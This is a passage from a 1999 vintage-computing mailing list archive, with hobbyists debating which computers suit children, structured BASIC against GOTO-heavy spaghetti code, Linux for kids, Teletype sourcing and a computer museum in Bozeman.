Do While Flag <> True do some stuff If condition then Set Flag to True end-if loop is the same as :loop-in If Flag = True Then Goto loop-out end-if do some stuff If condition Then Set Flag to True end-if Goto loop-in :loop-out Spaghetti code is caused by bad programmers, not bad programming languages. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Wed Jan 13 16:37:35 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children Message-ID: <3.0.16.19990113141509.49df93a4@ricochet.net> At 06:23 PM 1/13/99 +1, you wrote: >> The younger the kid, the more they need graphics capability. Teenagers >> don't really need it, no matter how much they beg for it (they just want to >> visit whitehouse.com). > >I found it just the other way - as younger they are as less >exact high res and high reality visions they need. An 5 year Not high quality graphics, just graphics. a 3 year old, for example, who has yet to learn to read (not Ward, of course 8^), would find a MS-DOS based computer, for example, pretty useless. Simply because the combinations of letters has no significance to the kid. Give the kid a basic mac, however, and the kid can see a picture of the Rabbit from Reader Rabbit and understand that clicking on it will start the Reader Rabbit program. Meanwhile, a 14 year old may not be *happy* with an MS-DOS based XT/AT, but they can make use of it, writing papers, calling BBSes/internet shell accounts, writing programs. As I said, your teenager may tell you how much they need that T-1 and SVGA to write their book report, but they really just want to access porno web sites. (I speak from experience, having been a teenager once.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From djenner at halcyon.com Wed Jan 13 16:46:07 1999 From: djenner at halcyon.com (David C. Jenner) Date: Sun Feb 27 18:40:06 2005 Subject: Bozeman MT Computer Museum [WAS: Re: cray, paper tape,collector's books, tek terminals, and WANTED] References: <3.0.32.19990113144206.006f2a98@cadvision.com> Message-ID: <369D222F.90F6BB41@halcyon.com> See http://www.compustory.com/ . Mark Gregory wrote: > > At 10:19 AM 1/13/99 -0800, you wrote: > > >> I picked up both of these books at the museum in Bozeman, Montana. Listers > >> familiar with it? Funny little place. > > > >I heard those guys were clowns. Any truth to the rumor? > > > >Sellam Alternate e-mail: > dastar@siconic.com > >--------------------------------------------------------------------------- > --- > >Always being hassled by the man. > > > > I'd have to disagree. Other than the oddity of being located in Montana > (not exactly a hub of high-tech industry), I found the Museum well put > together, with an interesting collection. It is small, though, and probably > isn't worth a detour of more than 200 miles. > > There were < 10 "big iron" mainframes, < 20 of the usual minis, with a > small collection of micros (20-30) - the latter weren't described in much > detail. The exhibits are arranged more or less chronologically by > technology, starting with mechanical computing devices (Hollerith Census > machines, Comptometers), moving on to electro-mechanical machines, then to > tubes, transistors, and microchips. Many of the machines are arranged in > office environments that replicate what they might have looked like when in > use, and there is some interesting supporting material (advertisements from > the era, etc). > The tour guides are very friendly, and knowledgeable enough to answer > questions from the general public. > > It's a good place to introduce kids to many of the technologies and some of > the people involved in the development of computers; most of the people on > this list would probably find it less interesting. Much like computer > collecting, computer museums are still in their infancy, so let's not judge > too harshly. > > For the record, the place is The American Computer Museum, 234 East Babcock > St., Bozeman, MT, 59715, tel (406) 587-7545, fax (406) 587-9620. No Web > site or email AFAIK. > And I have no affiliation, professional or personal, with the place. > > Cheers, > > Mark. From meo at netads.com Wed Jan 13 17:12:56 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: from "Tony Duell" at Jan 13, 99 01:05:30 am Message-ID: <199901132312.RAA05566@wildride.netads.com> Tony Duell said... | |> IN ADDITION, a more minimal machine for studying the computer itself. |> (maybe one of those ZX81 kits? And some bulbs to connect in series and |> parallel. Surely an 8 year old should be ready to solder!) | |I don't know if this is a joke or not, but FWIW when I was 8, I was quite |happy with a soldering iron. I don't know that all 8 y/os have the coordination to solder, and some won't have the patience. I'd start with plugboards or spring-based kits at first, to get them interested if the latter is a problem. Others wil need close supervision because of that attention thing, or a tendancy to experiment a little too much (``now why did Dad and Mom say I should keep this away from the drapes?'') On the other hand, 9 or 10, I had discovered that my woodworking iron also made a great soldering and desoldering iron. -Miles From meo at netads.com Wed Jan 13 17:16:52 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: from "Tony Duell" at Jan 13, 99 01:09:44 am Message-ID: <199901132316.RAA05588@wildride.netads.com> Tony Duell said... | |Hmmmm... I am convinced that the age a child starts to read, and the |interest he takes in obtaining information has a lot more to do with the |parents than with computer programs. | |I never had the benefit (or otherwise) of computer-aided learning. But I |was still reading by the age of 3. And a couple of years later I was |reading just about every electronics/engineering book I could get my |hands on. | |What I did have was parents who encouraged me to learn, who helped me |learn to read (I don't mean they forced books at me, but as soon as I |showed an interest in something they encouraged it), etc. Yes, yes, yes! And parents who read, read, read to their kids from the early days. I'm talking day 1, if not in the womb. (almost 8^) We encourage everyone we know to do this. We have friends who never got much education, whom most people consider (at best) a bit dense due to their chromosomes. They read to their kids since they were born, and their kids learning abilities are excellent. I don't know about other countries, but the US could probably cut its education budget in half within 10 years if everyone just read to their kids and encouraged them in what they wanted to do. -Miles (my brain classifies as a classic computer, as do my wife's and childrens') From meo at netads.com Wed Jan 13 17:26:44 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <001701be3e99$38becf60$a943fea9@francois> from "Francois" at Jan 12, 99 08:05:37 pm Message-ID: <199901132326.RAA05643@wildride.netads.com> Francois said... | |>I've yet to see a BASIC that runs on top of an OS that's as |>easy to get into and provides direct feedback as well as a |>graphical BASIC DOS. | |Apparently you have not tried Visual Basic... Not lately, no. |>But Linux is just fine as a newbie OS for a kid. | |At what level are you talking? At the same level the other guy was talking - using a computer. |I have not seen any sofware for kids (like |the knowledge adventure or humongous entertainment series) that would run on |Linux. It is hard to get a kid used to play with windows for 6 years and |tell him that it is crap and the one where you have to type long commands is |a lot better. First off, I know very few people who run Linux w/o running X. (OK, I do, on specialized systems such as Internet gateways, but I'm thinking of desktops.) That's all the Windoze interface is, from a user standpoint. Just a desktop. Secondly, I said as a "newbie OS". We were refering to the first OS a child uses. To me, if you use product A for 6 years, and then try product B of the same genre, you don't call using product B your introduction to the genre! YMMV. 8^) Finally, with the ease of a good GUI and the power of the Linux (UNIX) CLI, you can do plenty. And it costs far less to do it than with a Windoze box. For example, we use GIMP. Granted, it doesn't do everything PhotoShop(tm) and its add-ons do, but look at the price difference! And the GIMP is still rapidly progressing. I'm not saying everyone should use Linux, or that MicroSoft is useless. My point is simply that tere are alternatives, and not everyone has thought them through or seen everything that is available. -Miles From meo at netads.com Wed Jan 13 17:27:37 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Directories at the center of the disk In-Reply-To: <199901130209.VAA13841@pechter.ddns.org> from "Bill Pechter" at Jan 12, 99 09:09:24 pm Message-ID: <199901132327.RAA05652@wildride.netads.com> Bill Pechter said... | |We used to put the OS/32 directory in the center for optimization. Would that be Perkin Elmer, SEL, or what? From meo at netads.com Wed Jan 13 17:37:53 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <002f01be3ea8$f6067a00$a943fea9@francois> from "Francois" at Jan 12, 99 09:58:18 pm Message-ID: <199901132337.RAA05809@wildride.netads.com> Francois said... | |Before you can really learn about computers you have to have an interest in |it and so far I have not seen anything that could possibly interrest a kid |that runs on Linux. the same sorts of things that run on anything else these days, of course. Internet browsers (which we would NOT have without unix, thank you very much!) Email (which would still be a proprietary mish-mash, without nuix, most likely.) The GIMP (which is NOT a product costing almost a thousand dollars). Games. Etc. Granted there are things still missing. But I don't know of too many kids who got into computers solely because of a math package or encyclopedia. Yes, I know there are many more games fo DOS/WIN. And I will likely buy such a pig as soon as I can afford another computer, for pretty much that reason. So what? -Miles From meo at netads.com Wed Jan 13 17:39:43 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: from "Sam Ismail" at Jan 12, 99 09:50:33 pm Message-ID: <199901132339.RAA05825@wildride.netads.com> Sam Ismail said... | |Tony, why did you assume only little boys would be interested in |computers? This whole thread started as a result of Chuck looking for a |computer for his daughter :) Actually as a result of me looking for a Compucolor for my daughter and son. 8^) From meo at netads.com Wed Jan 13 17:44:22 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901130717.AAA22956@calico.litterbox.com> from "Jim Strickland" at Jan 13, 99 00:17:44 am Message-ID: <199901132344.RAA05887@wildride.netads.com> Jim Strickland said... | |Actually, that too is a learning experience. You only build one spaghetti |program that you'd like to maintain before you learn the error of your ways. Thank you. In fact, one can program well in any language, including Dartmouth BASIC, FORTRAN IV, even (I am serious) in COBOL. BASIC doesn't encourage spaghetti code. Sloppy attitudes and approaches encourage it. Hacking encourages it. And trust me, BASIC isn't even *close* to raw FORTRAN IV for being easy to spaghettize. ``You are lost in a twisty maze of arithmetic if's all alike''. And yet some of the most elegant, clean, well-structured code I've ever worked with was in FORTRAN IV. -Miles From meo at netads.com Wed Jan 13 17:47:20 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Osborne 01 for only $5000.00 In-Reply-To: <199901131155.LAA12134@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 13, 99 12:55:16 pm Message-ID: <199901132347.RAA05948@wildride.netads.com> Hans Franke said... | |> An Osborne 01 for an opening bid of only $5000.00 HeHeHe!!! |> As stated in the ad it could be a "Corner Stone" of your computer |> collection.. Sheesh. Maybe it's time to sell my vintage Sinclair. Look for it on eBay soon. If I can't get at least a grand for it, I'll eat my hat. -Miles From meo at netads.com Wed Jan 13 17:51:02 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901131444.GAA10510@oa.ptloma.edu> from "Cameron Kaiser" at Jan 13, 99 06:44:37 am Message-ID: <199901132351.RAA06018@wildride.netads.com> Cameron Kaiser said... | |::Do you know that you ca structure you BASIC code also? I haven't used a GOTO |::statement in BASIC since I learned C. | |But not in most microcomputer BASICs. The Apple II, Atari and C64 all lack |BEGIN-BEND, WHILE-WEND, block IFs; the 64 doesn't even have ELSE. But you can still fake it. A few, simple standards gone a long way. At the sam etime, tracing through spaghetti code is instructive, and will help when you're debugging Janus as it's attempting to kill you. -Miles From meo at netads.com Wed Jan 13 18:06:25 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:06 2005 Subject: OT: Kids and Linux... In-Reply-To: <3.0.3.32.19990113133712.0092c880@texas.net> from "Arfon Gryffydd" at Jan 13, 99 01:37:12 pm Message-ID: <199901140006.SAA06199@wildride.netads.com> Arfon Gryffydd said... | |I want to be responsible about this by: | 1) Keeping the computer in the family room where we, the 'adults' are 80% |of the time. | 2) Making sure that I or sweetie-pie have to make the net connection. | | 3) Using some parental controls software. | |Problem is: Is there ANY parental control software for Linux???? I haven't seen any. There are ISPs, however, that do the screening for you. You'd have to investigate to find the one that works for you (if any). When we first set our kids online, we watched them pretty closely. After we a while, we just spot checked. We trust our kids a lot, but (a) we know they're not perfect, and (b) they know that trust is earned. There's been an incident with each one. I caught one, and the other came to us. (And yes, I am considering one of the filtered ISPs, esp. if I can fine one with an extremely low level of spam throughput!) There is no perfect answer - otherwise all kids (and the results, such as us [1]) would be perfect. -Miles [1] By which I mean myself, in case all of you are perfect. 8^) From kurtkilg at geocities.com Tue Jan 12 18:01:58 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901122352.SAA00836@localhost.localdomain> by geocities.com (8.9.1/8.9.1) with ESMTP id PAA20458; Wed, 13 Jan 1999 15:46:26 -0800 (PST) Message-ID: On Tue, 12 Jan 1999 meo@netads.com wrote: > But you can still fake it. A few, simple standards gone a long way. In fact, as I understand, all that FOR...NEXT and so on are are low-level implementations of common usages of GOTO. ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From yowza at ooga.com Wed Jan 13 18:15:26 1999 From: yowza at ooga.com (Doug Yowza) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901132344.RAA05887@wildride.netads.com> Message-ID: On Wed, 13 Jan 1999, Miles O'Neal wrote: > In fact, one can program well in any language, > including Dartmouth BASIC, FORTRAN IV, even (I > am serious) in COBOL. This is true. > BASIC doesn't encourage spaghetti code. Sloppy > attitudes and approaches encourage it. Hacking > encourages it. This is not so true. While all languages are pretty much equivalent in terms of expressability, they differ significantly in terms of "flavor" or the types of programming they "encourage". BASIC encourages sloppy programming and hacking if you don't know any better, and what beginner is going to know better? OTOH, there's that attention span problem beginners have. Pascal and other languages that encourage better structure don't offer the immediate feedback that BASIC does, so it's more likely to put off a beginner. HACKING IS GOOD! Who among us didn't start as a hacker? -- Doug From ard at p850ug1.demon.co.uk Wed Jan 13 17:53:22 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <802566F8.006033A3.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 13, 99 05:37:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 417 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/23945066/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 18:00:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990113114603.4a873d08@ricochet.net> from "Uncle Roger" at Jan 13, 99 12:12:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 427 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/0a5bfb18/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 18:04:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Paper tape and Cards (and maybe ttys) In-Reply-To: <199901132047.MAA28525@saul1.u.washington.edu> from "D. Peschel" at Jan 13, 99 12:47:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 851 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/e92196d4/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 18:11:49 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: TTYs and hunting and readers (was - Re: Paper tape and Cards... In-Reply-To: from "James Willing" at Jan 13, 99 01:54:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2414 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/873e7cab/attachment.ksh From sinasohn at ricochet.net Wed Jan 13 19:05:46 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children Message-ID: <3.0.16.19990113150609.29870712@ricochet.net> At 08:06 PM 1/13/99 +0000, you wrote: >Now, though, it appears that most sets contain special parts for whatever >model that set is supposed to build, parts that aren't much use for >anything else. Seems not to encourage imagination anything like as much. Depends on what sets you buy. You can buy sets that build one specific model (though you can of course do whatever you want) or you can buy the tubs of 1000 pieces for $20. I have been known to buy specific models to get some odd part that I thought was cool, but generally I'll take the general purpose models. Obcc: Yes, you can build computers and calculators from Lego. Any reason why you couldn't replicate a Digi-Comp with Lego? --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Wed Jan 13 19:05:53 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children Message-ID: <3.0.16.19990113165439.298f8910@ricochet.net> At 05:16 PM 1/13/99 -0600, you wrote: >And parents who read, read, read to their kids from the early days. >I'm talking day 1, if not in the womb. (almost 8^) We encourage >everyone we know to do this. We have friends who never got much Can't agree more -- and yes, even in the womb. Two things I've heard about: play music through headphones, with the headphones against the mother's stomach (softly, and classical music, mozart is best) and shine a flashlight against the mother's stomach and move it around. The first (supposedly) develops logical thinking ability as well as hearing, the second eyesight and coordination. Dunno if it works, but Cassie's folks did the first and she is definitely musically inclined. (Of course that may be genetic anyway.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Wed Jan 13 19:05:55 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children Message-ID: <3.0.16.19990113170425.298f98dc@ricochet.net> At 07:01 PM 1/12/99 -0500, you wrote: >In fact, as I understand, all that FOR...NEXT and so on are are low-level >implementations of common usages of GOTO. High-level -- just as all BASIC/COBOL/C/Etc commands are high-level representations of many more assembly language commands. For-next: Start-Value = 1 End-Value = 99 Increment = 1 Counter = Start-Value :Start-For If Counter > End-Value Then Goto End-For end-if do stuff Counter = Counter + Increment Goto Start-For :End-For In fact there could be times when you would want to do this this way instead of using a for-next -- as in if you want you increment to change each time, or if you want to repeat a single iteration until some other condition is met. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From jim at calico.litterbox.com Wed Jan 13 19:13:07 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <001001be3ef1$160c5520$a943fea9@francois> from "Francois" at Jan 13, 1999 06:34:37 AM Message-ID: <199901140113.SAA26563@calico.litterbox.com> Absolutely. My high school CS teacher (who came into the math world from the CS world) insisted on good structured BASIC. Didn't realise at the time that she was preparing us for structured languages, but it sure made the transition easier. > > Do you know that you ca structure you BASIC code also? I haven't used a GOTO > statement in BASIC since I learned C. > >> The main reason that *I* am aware of with people being down on BASIC is > that > >> it, in a sense, encourages writing spagetti code (probably with the > >> inappropriate use of the GOTO statement.) > > > >Actually, that too is a learning experience. You only build one spaghetti > >program that you'd like to maintain before you learn the error of your > ways. > > > >-- > >Jim Strickland > >jim@DIESPAMMERSCUMcalico.litterbox.com > >----------------------------------------------------------------------- > >Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > >----------------------------------------------------------------------- > > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From jim at calico.litterbox.com Wed Jan 13 19:19:00 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:06 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: <199901131454.GAA16500@oa.ptloma.edu> from "Cameron Kaiser" at Jan 13, 1999 06:54:54 AM Message-ID: <199901140119.SAA26620@calico.litterbox.com> > In the Commodore 1541 floppy drive controller, there's a job code for BUMP > which sends the drive out to never-never land, stopped only by the track 1 > stop, an analogous situation. Loud! > > When a drive seek fails, the drive first tries to read the halftrack (recall > that Commodore disks are 48 tpi, not 96), then BUMPs out and back, tries to > read the sector, tries to read the half-track again, BUMPs out and back, and > so on, until it reaches a flag value stored in drive RAM, at which point it > declares the error. Very noisy, and the drive light flashes randomly during > this process. > > A program called Drive Music (and I have a program called Drive Composer > which worked on a similar principle) used the "head-banging" to play music, by > vibrating the head against the track 1 stop at varying frequencies. Very > ingenious. :-) I seem to recall an ad in the likes of Compute magazine for a drive stop replacement with a *spring* that made the BUMP silent. The nasty noise the drive made during BUMPS was refered to as Mack-ing. After Mack Trucks. Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From sinasohn at ricochet.net Wed Jan 13 19:17:06 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:06 2005 Subject: Bulbs in parallel Message-ID: <3.0.16.19990113171649.49d70f1e@ricochet.net> At 12:57 AM 1/13/99 -0600, you wrote: >>Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' >>tinker-toy tic-tic-toe machine: >There was another one, but I can't seem to find the page now. Found it... Dunno if it still exists (can't access the web at the moment) but here's the URL: http://legowww.homepages.com/projects/adding/project2.html --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From cfandt at netsync.net Wed Jan 13 19:26:02 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:06 2005 Subject: Paper tape and Cards (and maybe ttys) In-Reply-To: <199901132047.MAA28525@saul1.u.washington.edu> References: <4.1.19990113120116.00a51100@mailhost.hq.freegate.com> Message-ID: <4.1.19990113162433.00976720@206.231.8.2> At 12:47 PM 1/13/99 -0800, Derek Peschel wrote: > At 12:02 PM -0800, Chuck McManis wrote: >> Western Numerical Supply in Grass Valley California sells paper tape. I >> bought some from them for an ASR 33 I've been restoring. Getting mechanical >> TTYs is somewhat difficult at the moment. >> --Chuck > >What do you mean "at the moment"? > >I've thought about buying a Teletype for fun (haven't decided which model -- >I suppose the 5-bit ones are a lot simpler to maintain). The sources I >would check are this list, ham radio swapmeets/rallies, organizations for >the deaf (since Teletypes have had long and honorable service as TDD's), and >all the other usual places. But I don't know the prospects or the prices. Actually, ASR33's are sort of easy to find. Just gotta keep looking. They turn up. If you were close by you could have one of my ASR33's for the taking as I don't need three of 'em. There is an email list just for data communications gear such as Teletype machines. It's called Greenkeys. We're not a very active list, far less traffic than ClassicCmp, but several folks on the reflector are rather well-versed in TTY gear as they'd used it for years, repaired it for years or even built it at Teletype Corp. The list owner has a small data communications museum in So. Cal. Check out this URL: http://www.nadcomm.com. > >So your message had me a bit worried -- What made you write that? Do you >expect the situation to improve? > >OK, there is a local museum with a nice collection -- they might have >pointers too but somehow I doubt they would sell any of their machines. Which museum is that Derek? Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From ard at p850ug1.demon.co.uk Wed Jan 13 18:44:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: from "Max Eskin" at Jan 12, 99 07:01:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 967 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/fc25b56c/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 18:53:19 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990113133544.49dfb138@ricochet.net> from "Uncle Roger" at Jan 13, 99 02:37:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/8b21a891/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 19:05:33 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901132312.RAA05566@wildride.netads.com> from "Miles O'Neal" at Jan 13, 99 05:12:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 960 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/232b42b4/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 19:09:50 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <199901132316.RAA05588@wildride.netads.com> from "Miles O'Neal" at Jan 13, 99 05:16:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1172 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/b357a6a6/attachment.ksh From gram at cnct.com Wed Jan 13 19:42:54 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990113141509.49df93a4@ricochet.net> Message-ID: Actually, I still find an MS-DOS computer pretty useless. Then again, I was old enough to vote before CP/M was written. On the subject of animal-based learning material, the second link you'll find in an Altavista search on "Thornton Burgess" is on the subject of preschool curricula. It was my mother's childhood collection of books by that author I used to learn to read. All anthropomorphic animal stories, but relatively few illustrations. The collection was mostly destroyed before I was ten by a litter of monsters whelped by a boxer dog. I must see about replacing them. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Wed, 13 Jan 1999, Uncle Roger wrote: > Not high quality graphics, just graphics. a 3 year old, for example, who > has yet to learn to read (not Ward, of course 8^), would find a MS-DOS > based computer, for example, pretty useless. Simply because the From jim at calico.litterbox.com Wed Jan 13 19:47:34 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children (soldering) In-Reply-To: from "Tony Duell" at Jan 14, 1999 01:05:33 AM Message-ID: <199901140147.SAA26854@calico.litterbox.com> > Not _all_ 8 year olds will be able to solder, or will want to solder, but > some will. And there's no reason not to let them have a go if they want > to. It never did me any harm... Heh. Depends on how you define "harm". I have a permanent scar up my left wrist where I was soldering some HO scale train track together with the solder gun. All things considered it was a learning experience... mind where your gun tip is at all times. :) Seriously, a lot of people would cringe at the idea of their child doing that, but c'mon, folks... I lived. :) As far as good kits, Tech America, Frys (for those of you in the SF bay area) and a number of the surplus houses sell honest to god solder the component on the board kits. Jameco also has them. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From joebar at microsoft.com Wed Jan 13 19:54:26 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children Message-ID: <00b801be3f60$e146b3b0$11d53d9d@JOEBAR> >Now, though, it appears that most [Lego] sets contain special parts for whatever >model that set is supposed to build, parts that aren't much use for >anything else. Seems not to encourage imagination anything like as much. I know what you mean... but my son (6) does manage to find many new uses for the "special parts", combining insectoid legos and aquatic legos and everything else to form really interesting creations. Somehow it seems to parallel the trend in programming... the components that you build out of just get more elaborate, but that doesn't necessarilly mean that programming today is less creative, it's just that you're building at a different level... - Joe (your friendly neighborhood Microserf) From gram at cnct.com Wed Jan 13 20:10:14 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children References: Message-ID: <369D5206.1EC4A32@cnct.com> Sam Ismail wrote: > > On Tue, 12 Jan 1999, Chuck McManis wrote: > > > My current plan is: > > Topic Lab Equipment > > Computer Fundamentals PDP-8 with some custom I/O hardware. > > Programming Fundamentals I C64 + TV > > Introduction to Robotics Lego Mindstorms > > Programming Fundamentals FreeBSD system > > Introduction to Graphics I C64 + TV > > Introduction to Graphics II FreeBSD system with custom graphics card > > Gee, I wish I was your daughter. My dad's idea of cirriculum was: > > Topic Lab Equipment > Raking Leaves Rake > Mowing Lawns Lawnmower > Pulling Weeds Hands > Killing woodland mammals Rifle > Blasting avian creatures from sky Shotgun > > I had to learn everything else on my own :) Those last two items (rifle and shotgun) I had to learn on my own. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gareth.knight2 at which.net Wed Jan 13 19:41:47 1999 From: gareth.knight2 at which.net (Gareth Knight) Date: Sun Feb 27 18:40:06 2005 Subject: Old ISA Riser card on a Pentium? Message-ID: <000001be3f63$53b90860$604ffea9@gaz> Kirk Davis >Hey, don't forget that $100 Atari Belt buckle (only one at >that price!!!) :-) Perhaps you would be interested in a once in a lifetime offer of an Amiga CD32 umbrella (never used), or a chocolate tea pot, or... Anyway, does anyone have experience with Riser ISA cards. I have one salvaged from a Viglen 25MHz 486 and want to connect it to a Pentium 2. The Riser card has 6 ISA ports. From gram at cnct.com Wed Jan 13 20:25:26 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children References: <199901132326.RAA05643@wildride.netads.com> Message-ID: <369D5596.976CD066@cnct.com> Miles O'Neal wrote: > First off, I know very few people who run Linux w/o running X. > (OK, I do, on specialized systems such as Internet gateways, > but I'm thinking of desktops.) And if it's running X, wine is running a lot of good apps nowadays (well, this week's release hasn't broken on me yet, but I'll admit I don't play a lot of the fancy games). And most of the old Big 5 arcade games for the TRS-80 work under xtrs (thanks, Tim Mann). And as far as first languages go, bash is a damned fine structured programming language. With access to lots of external programs. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Wed Jan 13 20:33:35 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:06 2005 Subject: Computers for children References: <3.0.16.19990113150609.29870712@ricochet.net> Message-ID: <369D577F.E3E7F18F@cnct.com> Uncle Roger wrote: > > At 08:06 PM 1/13/99 +0000, you wrote: > >Now, though, it appears that most sets contain special parts for whatever > >model that set is supposed to build, parts that aren't 